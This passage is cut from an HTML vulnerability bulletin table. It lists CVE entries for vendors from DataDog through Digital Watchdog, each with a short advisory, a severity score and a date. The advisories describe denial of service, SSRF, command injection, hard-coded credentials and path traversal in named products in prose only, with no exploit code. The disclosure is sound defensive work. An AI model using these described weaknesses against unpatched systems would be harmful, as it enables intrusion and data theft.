&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50277&quot; target=&quot;_blank&quot;&gt;CVE-2026-50277&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DataDog--dd-trace-java&lt;/td&gt;
&lt;td&gt;dd-trace-java is a Datadog APM client for Java. Prior to 1.62.0, W3C baggage extraction does not enforce DD_TRACE_BAGGAGE_MAX_ITEMS, which defaults to 64, or DD_TRACE_BAGGAGE_MAX_BYTES, which defaults to 8192, although those limits apply during baggage injection. A remote unauthenticated attacker can send a baggage HTTP header containing many comma-separated key-value pairs or a single very large value. The extraction path allocates map entries while parsing the attacker-controlled header on every request, causing unbounded CPU and memory consumption in an HTTP service where the baggage propagation style is enabled, which is the default for most affected tracers. This can cause denial of service. This issue is fixed in version 1.62.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50270&quot; target=&quot;_blank&quot;&gt;CVE-2026-50270&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DataDog--dd-trace-php&lt;/td&gt;
&lt;td&gt;The Datadog PHP Tracer provides application performance monitoring and distributed tracing for PHP. Prior to 1.19.2, ddtrace_deserialize_baggage in ext/distributed_tracing_headers.c parses incoming W3C baggage HTTP headers without enforcing DD_TRACE_BAGGAGE_MAX_ITEMS or DD_TRACE_BAGGAGE_MAX_BYTES. A remote unauthenticated client can send an arbitrarily large number of comma-separated key-value pairs or a single oversized value, causing the tracer to allocate hash-map entries and consume unbounded CPU and memory on each request. Baggage extraction is enabled by default in most affected deployments unless baggage is removed from DD_TRACE_PROPAGATION_STYLE or DD_TRACE_PROPAGATION_STYLE_EXTRACT. This issue is fixed in version 1.19.2.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50275&quot; target=&quot;_blank&quot;&gt;CVE-2026-50275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DataDog--dd-trace-rb&lt;/td&gt;
&lt;td&gt;dd-trace-rb is Datadog&#039;s client library for Ruby. Prior to 2.32.0, W3C baggage extraction does not enforce DD_TRACE_BAGGAGE_MAX_ITEMS, which defaults to 64, or DD_TRACE_BAGGAGE_MAX_BYTES, which defaults to 8192, although those limits apply during baggage injection. A remote unauthenticated attacker can send a baggage HTTP header containing many comma-separated key-value pairs or a single very large value. The extraction path allocates entries while parsing the attacker-controlled header on every request, causing unbounded CPU and memory consumption in an HTTP service where the baggage propagation style is enabled, which is the default for most affected tracers. This can cause denial of service. This issue is fixed in version 2.32.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50276&quot; target=&quot;_blank&quot;&gt;CVE-2026-50276&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;datageartech--datagear&lt;/td&gt;
&lt;td&gt;DataGear through 6.0.0 contains a server-side request forgery vulnerability in the /dataSet/preview/Http endpoint that allows unauthenticated attackers to execute arbitrary HTTP requests by supplying a caller-controlled URI. Attackers can issue GET, POST, PUT, PATCH, or DELETE requests to internal endpoints and cloud metadata services, receiving full response bodies without authentication or validation.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92566&quot; target=&quot;_blank&quot;&gt;CVE-2026-92566&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DedeCMS--DedeCMS&lt;/td&gt;
&lt;td&gt;A vulnerability was found in DedeCMS up to 5.7.118. The affected element is an unknown function of the file plus/mytag_js.php. The manipulation of the argument aid results in code injection. The attack can be launched remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94004&quot; target=&quot;_blank&quot;&gt;CVE-2026-94004&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Dell OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Use of Externally-Controlled Input to Select Classes or Code (&#039;Unsafe Reflection&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66269&quot; target=&quot;_blank&quot;&gt;CVE-2026-66269&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Driver Pack For Windows OS&lt;/td&gt;
&lt;td&gt;Dell Server Update Utility, versions prior to 26.07.01, contains an Uncontrolled Search Path Element vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Code execution.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56795&quot; target=&quot;_blank&quot;&gt;CVE-2026-56795&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--ObjectScale&lt;/td&gt;
&lt;td&gt;Dell ObjectScale, versions prior to 4.4.0.0, contains a Deserialization of Untrusted Data vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Remote execution.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70416&quot; target=&quot;_blank&quot;&gt;CVE-2026-70416&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--ObjectScale&lt;/td&gt;
&lt;td&gt;Dell ObjectScale, versions prior to ObjectScale 4.4.0.0, contains an Improper Authentication vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-43936&quot; target=&quot;_blank&quot;&gt;CVE-2025-43936&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Improper Privilege Management vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information tampering and Unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81442&quot; target=&quot;_blank&quot;&gt;CVE-2026-81442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Remote execution.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81475&quot; target=&quot;_blank&quot;&gt;CVE-2026-81475&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Remote execution.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81476&quot; target=&quot;_blank&quot;&gt;CVE-2026-81476&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Use of Hard-coded Cryptographic Key vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81478&quot; target=&quot;_blank&quot;&gt;CVE-2026-81478&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Exposure of Sensitive Information to an Unauthorized Actor vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80356&quot; target=&quot;_blank&quot;&gt;CVE-2026-80356&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Use of Hard-coded Credentials vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81440&quot; target=&quot;_blank&quot;&gt;CVE-2026-81440&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Improper Privilege Management vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81445&quot; target=&quot;_blank&quot;&gt;CVE-2026-81445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Server-Side Request Forgery (SSRF) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Server-side request forgery.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81446&quot; target=&quot;_blank&quot;&gt;CVE-2026-81446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Heap-based Buffer Overflow vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81474&quot; target=&quot;_blank&quot;&gt;CVE-2026-81474&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Heap-based Buffer Overflow vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Code execution.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81477&quot; target=&quot;_blank&quot;&gt;CVE-2026-81477&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Stack-based Buffer Overflow vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Code execution.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81480&quot; target=&quot;_blank&quot;&gt;CVE-2026-81480&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Improper Limitation of a Pathname to a Restricted Directory (&#039;Path Traversal&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Filesystem access for attacker.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81481&quot; target=&quot;_blank&quot;&gt;CVE-2026-81481&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Repository Manager&lt;/td&gt;
&lt;td&gt;Dell Repository Manager, versions prior to 3.5.2, contains an Incorrect Default Permissions vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86359&quot; target=&quot;_blank&quot;&gt;CVE-2026-86359&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--SmartFabric Manager&lt;/td&gt;
&lt;td&gt;Dell SmartFabric Manager, versions prior to 2.2.1, contains an Insufficient Verification of Data Authenticity vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-26950&quot; target=&quot;_blank&quot;&gt;CVE-2026-26950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--SmartFabric OS10 Software&lt;/td&gt;
&lt;td&gt;Dell SmartFabric OS10 Software, versions prior to 10.6.1.3, contains a Session Fixation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Session theft.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63695&quot; target=&quot;_blank&quot;&gt;CVE-2026-63695&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--SmartFabric OS10 Software&lt;/td&gt;
&lt;td&gt;Dell SmartFabric OS10 Software, versions prior to 10.6.1.3, contains a Download of Code Without Integrity Check vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Code execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63696&quot; target=&quot;_blank&quot;&gt;CVE-2026-63696&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Update Package Framework&lt;/td&gt;
&lt;td&gt;Dell Update Package Framework, versions prior to 26.07.03, contains an Unchecked Return Value vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71180&quot; target=&quot;_blank&quot;&gt;CVE-2026-71180&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Update Package Framework&lt;/td&gt;
&lt;td&gt;Dell Update Package Framework, versions prior to 26.07.03, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71179&quot; target=&quot;_blank&quot;&gt;CVE-2026-71179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Wyse Management Suite&lt;/td&gt;
&lt;td&gt;Dell Wyse Management Suite, versions prior to 2605.0.3.683, contain a Missing Cryptographic Step vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Information tampering.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81235&quot; target=&quot;_blank&quot;&gt;CVE-2026-81235&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Wyse Management Suite&lt;/td&gt;
&lt;td&gt;Dell Wyse Management Suite, versions prior to 2605.0.3.683, contain an Unrestricted Upload of File with Dangerous Type vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Remote execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81236&quot; target=&quot;_blank&quot;&gt;CVE-2026-81236&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Wyse Management Suite&lt;/td&gt;
&lt;td&gt;Dell Wyse Management Suite, versions prior to 2605.0.3.683, contain an Unrestricted Upload of File with Dangerous Type vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Remote execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81239&quot; target=&quot;_blank&quot;&gt;CVE-2026-81239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Wyse Management Suite&lt;/td&gt;
&lt;td&gt;Dell Wyse Management Suite, versions prior to 2605.0.3.683, contain an Unrestricted Upload of File with Dangerous Type vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Remote execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81240&quot; target=&quot;_blank&quot;&gt;CVE-2026-81240&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Wyse Management Suite&lt;/td&gt;
&lt;td&gt;Dell Wyse Management Suite, versions prior to 2605.0.3.683, contain a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81238&quot; target=&quot;_blank&quot;&gt;CVE-2026-81238&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dep0we--atomic-agents-stack&lt;/td&gt;
&lt;td&gt;atomic-agents-stack before 1.1.0 accepts cleartext HTTP schemes in the HTTP MCP server-registry backend factory, allowing network man-in-the-middle attackers to rewrite catalog responses. Attackers can inject arbitrary command and argument values that are spawned as local subprocesses by MCPClientPool to achieve code execution on the agent host.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91988&quot; target=&quot;_blank&quot;&gt;CVE-2026-91988&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dep0we--atomic-agents-stack&lt;/td&gt;
&lt;td&gt;atomic-agents-stack before 1.1.0 contains a path traversal vulnerability in the dashboard HTTP server that allows remote attackers to read arbitrary files by supplying directory traversal sequences in request paths. Attackers can bypass path containment checks by including &#039;../&#039; segments in requests to the DashboardHandler.do_GET endpoint to access files outside the intended agents_root directory.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91989&quot; target=&quot;_blank&quot;&gt;CVE-2026-91989&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DerYeger--yeger&lt;/td&gt;
&lt;td&gt;Yeger is a monorepo for npm packages maintained under the yeger scope. Prior to 2.8.9, the turbo-graph package starts its embedded Next.js server from packages/turbo-graph/src/index.ts on all interfaces, including 0.0.0.0:29312 by default, while the GET handler for /api/run in packages/turbo-graph-ui/app/api/run/route.ts has no authentication, authorization, CSRF protection, or task allowlist. The handler accepts the tasks, filter, and force query parameters, and buildResponseFromArgs passes attacker-selected task names to spawn() as Turbo CLI arguments. An adjacent-network attacker can execute any task defined in the victim repository&#039;s turbo.json with the privileges of the developer OS user, potentially exposing secrets, modifying files or infrastructure, or causing destructive availability effects. The use of an argument array prevents traditional shell metacharacter injection but does not prevent unauthorized execution of defined tasks. This issue is fixed in version 2.8.9.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59160&quot; target=&quot;_blank&quot;&gt;CVE-2026-59160&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;designcomputer--mysql_mcp_server&lt;/td&gt;
&lt;td&gt;MySQL MCP Server is a Model Context Protocol server that enables secure interaction with MySQL databases. Prior to 0.4.2, setting MCP_TRANSPORT=sse causes src/mysql_mcp_server/server.py to construct SseServerTransport without security_settings or enable_dns_rebinding_protection, while the Starlette routes /, /sse, and /messages/ have no authentication and the service binds to 0.0.0.0 by default. A network attacker can directly reach execute_sql, or can use DNS rebinding to make a victim&#039;s browser relay same-origin requests to a locally bound service, and supply a query that reaches cursor.execute(query). This allows unauthenticated disclosure and modification of the configured database; when the MySQL account has FILE privileges, the same access can read or write server files and may enable code execution. The default stdio transport is not affected. This issue is fixed in 0.4.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59971&quot; target=&quot;_blank&quot;&gt;CVE-2026-59971&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;devspace--devspace&lt;/td&gt;
&lt;td&gt;DevSpace through 6.3.21 fails to reject parent-directory segments in tar entry names from the in-pod sync stream. Attackers operating a malicious container can stream tar entries with traversal sequences to write arbitrary files on the developer workstation, enabling code execution.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91200&quot; target=&quot;_blank&quot;&gt;CVE-2026-91200&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dgtlmoon--changedetection.io&lt;/td&gt;
&lt;td&gt;changedetection.io through 0.60.6 fails to validate the Goto URL action in browser steps, allowing unauthenticated attackers to access internal addresses. Attackers can supply arbitrary internal URLs in the optional_value parameter to retrieve responses from restricted network locations.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92815&quot; target=&quot;_blank&quot;&gt;CVE-2026-92815&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;didi--KnowStreaming&lt;/td&gt;
&lt;td&gt;KnowStreaming through 3.4.1 fails to enforce role-based access control on REST API endpoints, allowing any authenticated user to access protected functionality. Attackers can call identity-management endpoints to create administrator accounts or grant themselves administrative privileges without proper authorization.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92780&quot; target=&quot;_blank&quot;&gt;CVE-2026-92780&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Digital Watchdog--VMAX A1 G4 DVR&lt;/td&gt;
&lt;td&gt;The affected products are missing authorization on state-changing CGIs and session checks are not performed.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66887&quot; target=&quot;_blank&quot;&gt;CVE-2026-66887&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Digital Watchdog--VMAX A1 G4 DVR&lt;/td&gt;
&lt;td&gt;The affected products use hard-coded credentials, which could allow remote access to files with root privileges where FTP is reachable.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66890&quot; target=&quot;_blank&quot;&gt;CVE-2026-66890&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
